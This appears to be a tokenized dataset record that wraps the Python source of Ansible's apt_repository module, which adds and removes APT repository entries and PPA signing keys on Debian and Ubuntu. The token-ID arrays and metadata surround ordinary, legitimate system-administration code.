12, 5049, 12, 10851, 12, 12766, 12, 14589, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 199, 3781, 12, 221, 499, 12, 6155, 12, 7875, 12, 5557, 12, 221, 413, 12, 8087, 12, 3144, 12, 3388, 12, 221, 1749, 12, 6928, 12, 221, 1520, 12, 221, 1227, 12, 4944, 12, 221, 841, 12, 221, 1695, 12, 199, 6546, 12, 13296, 12, 1616, 12, 221, 959, 12, 221, 650, 12, 7829, 12, 5851, 12, 11738, 12, 16202, 12, 3193, 12, 4119, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 199, 9327, 12, 8488, 12, 12285, 12, 12438, 12, 11931, 12, 8982, 12, 10355, 12, 10642, 12, 10806, 12, 6568, 12, 10143, 12, 11010, 12, 13593, 12, 10419, 12, 12478, 12, 9892, 12, 199, 10848, 12, 10216, 12, 8881, 12, 11175, 12, 10699, 12, 7663, 12, 12851, 12, 12894, 12, 12363, 12, 10078, 12, 10233, 12, 11656, 12, 11775, 12, 11501, 12, 11370, 12, 12205, 12, 199, 12632, 12, 5756, 12, 13015, 12, 10860, 12, 11874, 12, 10800, 12, 11165, 12, 13098, 12, 10905, 12, 7155, 12, 1840, 12, 1797, 12, 4999, 12, 11341, 12, 6686, 12, 10629, 12, 199, 13734, 12, 11089, 12, 10744, 12, 10630, 12, 11303, 12, 12725, 12, 12832, 12, 11722, 12, 14271, 12, 6886, 12, 7842, 12, 9669, 12, 9335, 12, 9252, 12, 8867, 12, 11174, 12, 199, 11564, 12, 8026, 12, 19071, 12, 9485, 12, 14679, 12, 11583, 12, 8731, 12, 10932, 12, 11085, 12, 10868, 12, 11385, 12, 12048, 12, 11182, 12, 17017, 12, 9687, 12, 11921, 12, 199, 8001, 12, 10034, 12, 5533, 12, 13713, 12, 8276, 12, 14157, 12, 8155, 12, 10008, 12, 10638, 12, 12332, 12, 5212, 12, 14610, 12, 13668, 12, 9803, 12, 9873, 12, 13571, 12, 199, 18051, 12, 4329, 12, 9720, 12, 13212, 12, 10045, 12, 5939, 12, 13440, 12, 15323, 12, 11603, 12, 4114, 12, 20582, 12, 8375, 12, 8264, 12, 4233, 12, 14646, 12, 16412, 12, 199, 11677, 12, 11440, 12, 11717, 12, 5661, 12, 18525, 12, 5685, 12, 5504, 12, 11242, 12, 11032, 12, 7991, 12, 7105, 12, 12001, 12, 7349, 12, 12140, 12, 6390, 12, 3781, 12, 199, 9, 199, 199, 2676, 26572, 40, 25364, 24516, 275, 334, 199, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 8306, 12, 2299, 12, 2299, 12, 8306, 12, 2299, 12, 2299, 12, 221, 327, 8733, 199, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 221, 327, 1616, 199, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 221, 327, 3388, 199, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 221, 327, 4233, 199, 3781, 12, 7294, 12, 6335, 12, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
msabramo/ansible
lib/ansible/modules/packaging/os/apt_repository.py
60
19943
#!/usr/bin/python # encoding: utf-8 # (c) 2012, Matt Wright <matt@nobien.net> # (c) 2013, Alexander Saltanov <asd@mokote.com> # (c) 2014, Rutger Spiertz <rutger@kumina.nl> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. ANSIBLE_METADATA = {'metadata_version': '1.0', 'status': ['preview'], 'supported_by': 'core'} DOCUMENTATION = ''' --- module: apt_repository short_description: Add and remove APT repositories description: - Add or remove an APT repositories in Ubuntu and Debian. notes: - This module works on Debian, Ubuntu and their derivatives. - This module supports Debian Squeeze (version 6) as well as its successors. options: repo: required: true default: none description: - A source string for the repository. state: required: false choices: [ "absent", "present" ] default: "present" description: - A source string state. mode: required: false default: 0644 description: - The octal mode for newly created files in sources.list.d version_added: "1.6" update_cache: description: - Run the equivalent of C(apt-get update) when a change occurs. Cache updates are run after making changes. required: false default: "yes" choices: [ "yes", "no" ] validate_certs: version_added: '1.8' description: - If C(no), SSL certificates for the target repo will not be validated. This should only be used on personally controlled sites using self-signed certificates. required: false default: 'yes' choices: ['yes', 'no'] filename: version_added: '2.1' description: - Sets the name of the source list file in sources.list.d. Defaults to a file name based on the repository source url. The .list extension will be automatically added. required: false codename: version_added: '2.3' description: - Override the distribution codename to use for PPA repositories. Should usually only be set when working with a PPA on a non-Ubuntu target (e.g. Debian or Mint) required: false author: "Alexander Saltanov (@sashka)" version_added: "0.7" requirements: - python-apt (python 2) - python3-apt (python 3) ''' EXAMPLES = ''' # Add specified repository into sources list. - apt_repository: repo: deb http://archive.canonical.com/ubuntu hardy partner state: present # Add specified repository into sources list using specified filename. - apt_repository: repo: deb http://dl.google.com/linux/chrome/deb/ stable main state: present filename: 'google-chrome' # Add source repository into sources list. - apt_repository: repo: deb-src http://archive.canonical.com/ubuntu hardy partner state: present # Remove specified repository from sources list. - apt_repository: repo: deb http://archive.canonical.com/ubuntu hardy partner state: absent # Add nginx stable repository from PPA and install its signing key. # On Ubuntu target: - apt_repository: repo: 'ppa:nginx/stable' # On Debian target - apt_repository: repo: 'ppa:nginx/stable' codename: 'trusty' ''' import glob import os import re import sys import tempfile try: import apt import apt_pkg import aptsources.distro as aptsources_distro distro = aptsources_distro.get_distro() HAVE_PYTHON_APT = True except ImportError: distro = None HAVE_PYTHON_APT = False if sys.version_info[0] < 3: PYTHON_APT = 'python-apt' else: PYTHON_APT = 'python3-apt' DEFAULT_SOURCES_PERM = int('0644', 8) VALID_SOURCE_TYPES = ('deb', 'deb-src') def install_python_apt(module): if not module.check_mode: apt_get_path = module.get_bin_path('apt-get') if apt_get_path: rc, so, se = module.run_command([apt_get_path, 'update']) if rc != 0: module.fail_json(msg="Failed to auto-install %s. Error was: '%s'" % (PYTHON_APT, se.strip())) rc, so, se = module.run_command([apt_get_path, 'install', PYTHON_APT, '-y', '-q']) if rc == 0: global apt, apt_pkg, aptsources_distro, distro, HAVE_PYTHON_APT import apt import apt_pkg import aptsources.distro as aptsources_distro distro = aptsources_distro.get_distro() HAVE_PYTHON_APT = True else: module.fail_json(msg="Failed to auto-install %s. Error was: '%s'" % (PYTHON_APT, se.strip())) else: module.fail_json(msg="%s must be installed to use check mode" % PYTHON_APT) class InvalidSource(Exception): pass # Simple version of aptsources.sourceslist.SourcesList. # No advanced logic and no backups inside. class SourcesList(object): def __init__(self, module): self.module = module self.files = {} # group sources by file # Repositories that we're adding -- used to implement mode param self.new_repos = set() self.default_file = self._apt_cfg_file('Dir::Etc::sourcelist') # read sources.list if it exists if os.path.isfile(self.default_file): self.load(self.default_file) # read sources.list.d for file in glob.iglob('%s/*.list' % self._apt_cfg_dir('Dir::Etc::sourceparts')): self.load(file) def __iter__(self): '''Simple iterator to go over all sources. Empty, non-source, and other not valid lines will be skipped.''' for file, sources in self.files.items(): for n, valid, enabled, source, comment in sources: if valid: yield file, n, enabled, source, comment raise StopIteration def _expand_path(self, filename): if '/' in filename: return filename else: return os.path.abspath(os.path.join(self._apt_cfg_dir('Dir::Etc::sourceparts'), filename)) def _suggest_filename(self, line): def _cleanup_filename(s): filename = self.module.params['filename'] if filename is not None: return filename return '_'.join(re.sub('[^a-zA-Z0-9]', ' ', s).split()) def _strip_username_password(s): if '@' in s: s = s.split('@', 1) s = s[-1] return s # Drop options and protocols. line = re.sub('\[[^\]]+\]', '', line) line = re.sub('\w+://', '', line) # split line into valid keywords parts = [part for part in line.split() if part not in VALID_SOURCE_TYPES] # Drop usernames and passwords parts[0] = _strip_username_password(parts[0]) return '%s.list' % _cleanup_filename(' '.join(parts[:1])) def _parse(self, line, raise_if_invalid_or_disabled=False): valid = False enabled = True source = '' comment = '' line = line.strip() if line.startswith('#'): enabled = False line = line[1:] # Check for another "#" in the line and treat a part after it as a comment. i = line.find('#') if i > 0: comment = line[i+1:].strip() line = line[:i] # Split a source into substring to make sure that it is source spec. # Duplicated whitespaces in a valid source spec will be removed. source = line.strip() if source: chunks = source.split() if chunks[0] in VALID_SOURCE_TYPES: valid = True source = ' '.join(chunks) if raise_if_invalid_or_disabled and (not valid or not enabled): raise InvalidSource(line) return valid, enabled, source, comment @staticmethod def _apt_cfg_file(filespec): ''' Wrapper for `apt_pkg` module for running with Python 2.5 ''' try: result = apt_pkg.config.find_file(filespec) except AttributeError: result = apt_pkg.Config.FindFile(filespec) return result @staticmethod def _apt_cfg_dir(dirspec): ''' Wrapper for `apt_pkg` module for running with Python 2.5 ''' try: result = apt_pkg.config.find_dir(dirspec) except AttributeError: result = apt_pkg.Config.FindDir(dirspec) return result def load(self, file): group = [] f = open(file, 'r') for n, line in enumerate(f): valid, enabled, source, comment = self._parse(line) group.append((n, valid, enabled, source, comment)) self.files[file] = group def save(self): for filename, sources in list(self.files.items()): if sources: d, fn = os.path.split(filename) fd, tmp_path = tempfile.mkstemp(prefix=".%s-" % fn, dir=d) f = os.fdopen(fd, 'w') for n, valid, enabled, source, comment in sources: chunks = [] if not enabled: chunks.append('# ') chunks.append(source) if comment: chunks.append(' # ') chunks.append(comment) chunks.append('\n') line = ''.join(chunks) try: f.write(line) except IOError: err = get_exception() self.module.fail_json(msg="Failed to write to file %s: %s" % (tmp_path, unicode(err))) self.module.atomic_move(tmp_path, filename) # allow the user to override the default mode if filename in self.new_repos: this_mode = self.module.params.get('mode', DEFAULT_SOURCES_PERM) self.module.set_mode_if_different(filename, this_mode, False) else: del self.files[filename] if os.path.exists(filename): os.remove(filename) def dump(self): dumpstruct = {} for filename, sources in self.files.items(): if sources: lines = [] for n, valid, enabled, source, comment in sources: chunks = [] if not enabled: chunks.append('# ') chunks.append(source) if comment: chunks.append(' # ') chunks.append(comment) chunks.append('\n') lines.append(''.join(chunks)) dumpstruct[filename] = ''.join(lines) return dumpstruct def _choice(self, new, old): if new is None: return old return new def modify(self, file, n, enabled=None, source=None, comment=None): ''' This function to be used with iterator, so we don't care of invalid sources. If source, enabled, or comment is None, original value from line ``n`` will be preserved. ''' valid, enabled_old, source_old, comment_old = self.files[file][n][1:] self.files[file][n] = (n, valid, self._choice(enabled, enabled_old), self._choice(source, source_old), self._choice(comment, comment_old)) def _add_valid_source(self, source_new, comment_new, file): # We'll try to reuse disabled source if we have it. # If we have more than one entry, we will enable them all - no advanced logic, remember. found = False for filename, n, enabled, source, comment in self: if source == source_new: self.modify(filename, n, enabled=True) found = True if not found: if file is None: file = self.default_file else: file = self._expand_path(file) if file not in self.files: self.files[file] = [] files = self.files[file] files.append((len(files), True, True, source_new, comment_new)) self.new_repos.add(file) def add_source(self, line, comment='', file=None): source = self._parse(line, raise_if_invalid_or_disabled=True)[2] # Prefer separate files for new sources. self._add_valid_source(source, comment, file=file or self._suggest_filename(source)) def _remove_valid_source(self, source): # If we have more than one entry, we will remove them all (not comment, remove!) for filename, n, enabled, src, comment in self: if source == src and enabled: self.files[filename].pop(n) def remove_source(self, line): source = self._parse(line, raise_if_invalid_or_disabled=True)[2] self._remove_valid_source(source) class UbuntuSourcesList(SourcesList): LP_API = 'https://launchpad.net/api/1.0/~%s/+archive/%s' def __init__(self, module, add_ppa_signing_keys_callback=None): self.module = module self.add_ppa_signing_keys_callback = add_ppa_signing_keys_callback self.codename = module.params['codename'] or distro.codename super(UbuntuSourcesList, self).__init__(module) def _get_ppa_info(self, owner_name, ppa_name): lp_api = self.LP_API % (owner_name, ppa_name) headers = dict(Accept='application/json') response, info = fetch_url(self.module, lp_api, headers=headers) if info['status'] != 200: self.module.fail_json(msg="failed to fetch PPA information, error was: %s" % info['msg']) return json.loads(to_native(response.read())) def _expand_ppa(self, path): ppa = path.split(':')[1] ppa_owner = ppa.split('/')[0] try: ppa_name = ppa.split('/')[1] except IndexError: ppa_name = 'ppa' line = 'deb http://ppa.launchpad.net/%s/%s/ubuntu %s main' % (ppa_owner, ppa_name, self.codename) return line, ppa_owner, ppa_name def _key_already_exists(self, key_fingerprint): rc, out, err = self.module.run_command('apt-key export %s' % key_fingerprint, check_rc=True) return len(err) == 0 def add_source(self, line, comment='', file=None): if line.startswith('ppa:'): source, ppa_owner, ppa_name = self._expand_ppa(line) if source in self.repos_urls: # repository already exists return if self.add_ppa_signing_keys_callback is not None: info = self._get_ppa_info(ppa_owner, ppa_name) if not self._key_already_exists(info['signing_key_fingerprint']): command = ['apt-key', 'adv', '--recv-keys', '--keyserver', 'hkp://keyserver.ubuntu.com:80', info['signing_key_fingerprint']] self.add_ppa_signing_keys_callback(command) file = file or self._suggest_filename('%s_%s' % (line, self.codename)) else: source = self._parse(line, raise_if_invalid_or_disabled=True)[2] file = file or self._suggest_filename(source) self._add_valid_source(source, comment, file) def remove_source(self, line): if line.startswith('ppa:'): source = self._expand_ppa(line)[0] else: source = self._parse(line, raise_if_invalid_or_disabled=True)[2] self._remove_valid_source(source) @property def repos_urls(self): _repositories = [] for parsed_repos in self.files.values(): for parsed_repo in parsed_repos: valid = parsed_repo[1] enabled = parsed_repo[2] source_line = parsed_repo[3] if not valid or not enabled: continue if source_line.startswith('ppa:'): source, ppa_owner, ppa_name = self._expand_ppa(source_line) _repositories.append(source) else: _repositories.append(source_line) return _repositories def get_add_ppa_signing_key_callback(module): def _run_command(command): module.run_command(command, check_rc=True) if module.check_mode: return None else: return _run_command def main(): module = AnsibleModule( argument_spec=dict( repo=dict(required=True), state=dict(choices=['present', 'absent'], default='present'), mode=dict(required=False, type='raw'), update_cache = dict(aliases=['update-cache'], type='bool', default='yes'), filename=dict(required=False, default=None), # this should not be needed, but exists as a failsafe install_python_apt=dict(required=False, default="yes", type='bool'), validate_certs = dict(default='yes', type='bool'), codename = dict(required=False), ), supports_check_mode=True, ) params = module.params repo = module.params['repo'] state = module.params['state'] update_cache = module.params['update_cache'] # Note: mode is referenced in SourcesList class via the passed in module (self here) sourceslist = None if not HAVE_PYTHON_APT: if params['install_python_apt']: install_python_apt(module) else: module.fail_json(msg='%s is not installed, and install_python_apt is False' % PYTHON_APT) if isinstance(distro, aptsources_distro.Distribution): sourceslist = UbuntuSourcesList(module, add_ppa_signing_keys_callback=get_add_ppa_signing_key_callback(module)) else: module.fail_json(msg='Module apt_repository is not supported on target.') sources_before = sourceslist.dump() try: if state == 'present': sourceslist.add_source(repo) elif state == 'absent': sourceslist.remove_source(repo) except InvalidSource: err = get_exception() module.fail_json(msg='Invalid repository string: %s' % unicode(err)) sources_after = sourceslist.dump() changed = sources_before != sources_after if changed and module._diff: diff = [] for filename in set(sources_before.keys()).union(sources_after.keys()): diff.append({'before': sources_before.get(filename, ''), 'after': sources_after.get(filename, ''), 'before_header': (filename, '/dev/null')[filename not in sources_before], 'after_header': (filename, '/dev/null')[filename not in sources_after]}) else: diff = {} if changed and not module.check_mode: try: sourceslist.save() if update_cache: cache = apt.Cache() cache.update() except OSError: err = get_exception() module.fail_json(msg=unicode(err)) module.exit_json(changed=changed, repo=repo, state=state, diff=diff) # import module snippets from ansible.module_utils.basic import * from ansible.module_utils.urls import * if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 2644, 26, 2774, 13, 24, 199, 199, 3, 334, 67, 9, 6029, 12, 31653, 644, 1019, 665, 569, 84, 32, 889, 4492, 287, 14, 846, 30, 199, 3, 334, 67, 9, 6171, 12, 22986, 11438, 428, 4478, 8143, 86, 665, 305, 68, 32, 573, 75, 1583, 14, 957, 30, 199, 3, 334, 67, 9, 6927, 12, 820, 337, 836, 428, 1038, 281, 3903, 665, 82, 337, 836, 32, 75, 453, 13765, 14, 7530, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 421, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 16, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 1018, 936, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 20932, 63, 8421, 199, 3612, 63, 1802, 26, 2654, 436, 2813, 437, 4189, 23737, 199, 1802, 26, 272, 446, 2654, 503, 2813, 376, 437, 4189, 23737, 315, 31631, 436, 30445, 14, 199, 5983, 26, 272, 446, 961, 859, 5419, 641, 30445, 12, 31631, 436, 3932, 28059, 14, 272, 446, 961, 859, 5171, 30445, 428, 14167, 334, 1023, 1227, 9, 465, 5521, 465, 2399, 3182, 1384, 14, 199, 1419, 26, 272, 3831, 26, 267, 1415, 26, 2549, 267, 849, 26, 7179, 267, 1369, 26, 288, 446, 437, 1350, 1059, 367, 314, 7611, 14, 272, 1174, 26, 267, 1415, 26, 3055, 267, 3415, 26, 359, 298, 5575, 401, 298, 1881, 2, 1622, 267, 849, 26, 298, 1881, 2, 267, 1369, 26, 288, 446, 437, 1350, 1059, 1174, 14, 272, 818, 26, 267, 1415, 26, 3055, 267, 849, 26, 378, 10893, 267, 1369, 26, 288, 446, 710, 30100, 818, 367, 13903, 2737, 1584, 315, 5274, 14, 513, 14, 68, 267, 1015, 63, 3270, 26, 298, 17, 14, 22, 2, 272, 1678, 63, 1637, 26, 267, 1369, 26, 288, 446, 3378, 314, 7353, 402, 445, 8, 6182, 13, 362, 1678, 9, 1380, 282, 1570, 11058, 14, 221, 11977, 7029, 787, 1255, 2410, 10663, 4493, 14, 267, 1415, 26, 3055, 267, 849, 26, 298, 5066, 2, 267, 3415, 26, 359, 298, 5066, 401, 298, 889, 2, 1622, 272, 4107, 63, 8356, 26, 267, 1015, 63, 3270, 26, 283, 17, 14, 24, 7, 267, 1369, 26, 288, 446, 982, 445, 8, 889, 395, 7799, 14512, 367, 314, 1347, 3831, 911, 440, 506, 16468, 14, 961, 1077, 1454, 506, 1202, 1598, 641, 4954, 1183, 22284, 15424, 1808, 291, 13, 1737, 14512, 14, 267, 1415, 26, 3055, 267, 849, 26, 283, 5066, 7, 267, 3415, 26, 788, 5066, 297, 283, 889, 418, 272, 1788, 26, 267, 1015, 63, 3270, 26, 283, 18, 14, 17, 7, 267, 1369, 26, 288, 446, 10729, 314, 536, 402, 314, 1350, 769, 570, 315, 5274, 14, 513, 14, 68, 14, 1598, 7827, 370, 282, 570, 536, 4079, 641, 314, 7611, 1350, 1166, 14, 1598, 710, 1275, 513, 3329, 911, 506, 5847, 3483, 14, 267, 1415, 26, 3055, 272, 29754, 26, 267, 1015, 63, 3270, 26, 283, 18, 14, 19, 7, 267, 1369, 26, 288, 446, 11041, 314, 4084, 29754, 370, 675, 367, 510, 8470, 23737, 14, 1598, 7719, 9987, 1454, 506, 663, 1380, 6449, 543, 282, 510, 8470, 641, 282, 2222, 13, 53, 19313, 1347, 334, 69, 14, 71, 14, 30445, 503, 603, 442, 9, 267, 1415, 26, 3055, 199, 2502, 26, 298, 33, 3113, 11438, 428, 4478, 8143, 86, 8593, 83, 1119, 7351, 2924, 199, 1023, 63, 3270, 26, 298, 16, 14, 23, 2, 199, 7538, 26, 2043, 446, 2366, 13, 6182, 334, 1548, 499, 9, 2043, 446, 2366, 19, 13, 6182, 334, 1548, 650, 9, 199, 2344, 199, 199, 8918, 275, 1449, 199, 3, 2654, 2013, 7611, 1901, 5274, 769, 14, 199, 13, 20932, 63, 8421, 26, 272, 3831, 26, 32610, 1455, 921, 6404, 14, 13109, 14, 957, 15, 21151, 7508, 89, 5854, 272, 1174, 26, 3451, 199, 199, 3, 2654, 2013, 7611, 1901, 5274, 769, 1808, 2013, 1788, 14, 199, 13, 20932, 63, 8421, 26, 272, 3831, 26, 32610, 1455, 921, 5030, 14, 3098, 14, 957, 15, 5135, 15, 9887, 15, 16762, 15, 17830, 2446, 272, 1174, 26, 3451, 272, 1788, 26, 283, 3098, 13, 9887, 7, 199, 199, 3, 2654, 1350, 7611, 1901, 5274, 769, 14, 199, 13, 20932, 63, 8421, 26, 272, 3831, 26, 32610, 13, 2164, 1455, 921, 6404, 14, 13109, 14, 957, 15, 21151, 7508, 89, 5854, 272, 1174, 26, 3451, 199, 199, 3, 5852, 2013, 7611, 687, 5274, 769, 14, 199, 13, 20932, 63, 8421, 26, 272, 3831, 26, 32610, 1455, 921, 6404, 14, 13109, 14, 957, 15, 21151, 7508, 89, 5854, 272, 1174, 26, 9552, 199, 199, 3, 2654, 302, 19101, 17830, 7611, 687, 510, 8470, 436, 3907, 2399, 18057, 790, 14, 199, 3, 4068, 31631, 1347, 26, 199, 13, 20932, 63, 8421, 26, 272, 3831, 26, 283, 80, 387, 26, 25826, 15, 11989, 7, 199, 199, 3, 4068, 30445, 1347, 199, 13, 20932, 63, 8421, 26, 272, 3831, 26, 283, 80, 387, 26, 25826, 15, 11989, 7, 272, 29754, 26, 283, 15756, 89, 7, 199, 2344, 199, 199, 646, 5739, 199, 646, 747, 199, 646, 295, 199, 646, 984, 199, 646, 5549, 199, 199, 893, 26, 272, 492, 20932, 272, 492, 20932, 63, 4600, 272, 492, 20932, 4553, 14, 18371, 465, 20932, 4553, 63, 18371 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 2644, 26, 2774, 13, 24, 199, 199, 3, 334, 67, 9, 6029, 12, 31653, 644, 1019, 665, 569, 84, 32, 889, 4492, 287, 14, 846, 30, 199, 3, 334, 67, 9, 6171, 12, 22986, 11438, 428, 4478, 8143, 86, 665, 305, 68, 32, 573, 75, 1583, 14, 957, 30, 199, 3, 334, 67, 9, 6927, 12, 820, 337, 836, 428, 1038, 281, 3903, 665, 82, 337, 836, 32, 75, 453, 13765, 14, 7530, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 421, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 16, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 1018, 936, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 20932, 63, 8421, 199, 3612, 63, 1802, 26, 2654, 436, 2813, 437, 4189, 23737, 199, 1802, 26, 272, 446, 2654, 503, 2813, 376, 437, 4189, 23737, 315, 31631, 436, 30445, 14, 199, 5983, 26, 272, 446, 961, 859, 5419, 641, 30445, 12, 31631, 436, 3932, 28059, 14, 272, 446, 961, 859, 5171, 30445, 428, 14167, 334, 1023, 1227, 9, 465, 5521, 465, 2399, 3182, 1384, 14, 199, 1419, 26, 272, 3831, 26, 267, 1415, 26, 2549, 267, 849, 26, 7179, 267, 1369, 26, 288, 446, 437, 1350, 1059, 367, 314, 7611, 14, 272, 1174, 26, 267, 1415, 26, 3055, 267, 3415, 26, 359, 298, 5575, 401, 298, 1881, 2, 1622, 267, 849, 26, 298, 1881, 2, 267, 1369, 26, 288, 446, 437, 1350, 1059, 1174, 14, 272, 818, 26, 267, 1415, 26, 3055, 267, 849, 26, 378, 10893, 267, 1369, 26, 288, 446, 710, 30100, 818, 367, 13903, 2737, 1584, 315, 5274, 14, 513, 14, 68, 267, 1015, 63, 3270, 26, 298, 17, 14, 22, 2, 272, 1678, 63, 1637, 26, 267, 1369, 26, 288, 446, 3378, 314, 7353, 402, 445, 8, 6182, 13, 362, 1678, 9, 1380, 282, 1570, 11058, 14, 221, 11977, 7029, 787, 1255, 2410, 10663, 4493, 14, 267, 1415, 26, 3055, 267, 849, 26, 298, 5066, 2, 267, 3415, 26, 359, 298, 5066, 401, 298, 889, 2, 1622, 272, 4107, 63, 8356, 26, 267, 1015, 63, 3270, 26, 283, 17, 14, 24, 7, 267, 1369, 26, 288, 446, 982, 445, 8, 889, 395, 7799, 14512, 367, 314, 1347, 3831, 911, 440, 506, 16468, 14, 961, 1077, 1454, 506, 1202, 1598, 641, 4954, 1183, 22284, 15424, 1808, 291, 13, 1737, 14512, 14, 267, 1415, 26, 3055, 267, 849, 26, 283, 5066, 7, 267, 3415, 26, 788, 5066, 297, 283, 889, 418, 272, 1788, 26, 267, 1015, 63, 3270, 26, 283, 18, 14, 17, 7, 267, 1369, 26, 288, 446, 10729, 314, 536, 402, 314, 1350, 769, 570, 315, 5274, 14, 513, 14, 68, 14, 1598, 7827, 370, 282, 570, 536, 4079, 641, 314, 7611, 1350, 1166, 14, 1598, 710, 1275, 513, 3329, 911, 506, 5847, 3483, 14, 267, 1415, 26, 3055, 272, 29754, 26, 267, 1015, 63, 3270, 26, 283, 18, 14, 19, 7, 267, 1369, 26, 288, 446, 11041, 314, 4084, 29754, 370, 675, 367, 510, 8470, 23737, 14, 1598, 7719, 9987, 1454, 506, 663, 1380, 6449, 543, 282, 510, 8470, 641, 282, 2222, 13, 53, 19313, 1347, 334, 69, 14, 71, 14, 30445, 503, 603, 442, 9, 267, 1415, 26, 3055, 199, 2502, 26, 298, 33, 3113, 11438, 428, 4478, 8143, 86, 8593, 83, 1119, 7351, 2924, 199, 1023, 63, 3270, 26, 298, 16, 14, 23, 2, 199, 7538, 26, 2043, 446, 2366, 13, 6182, 334, 1548, 499, 9, 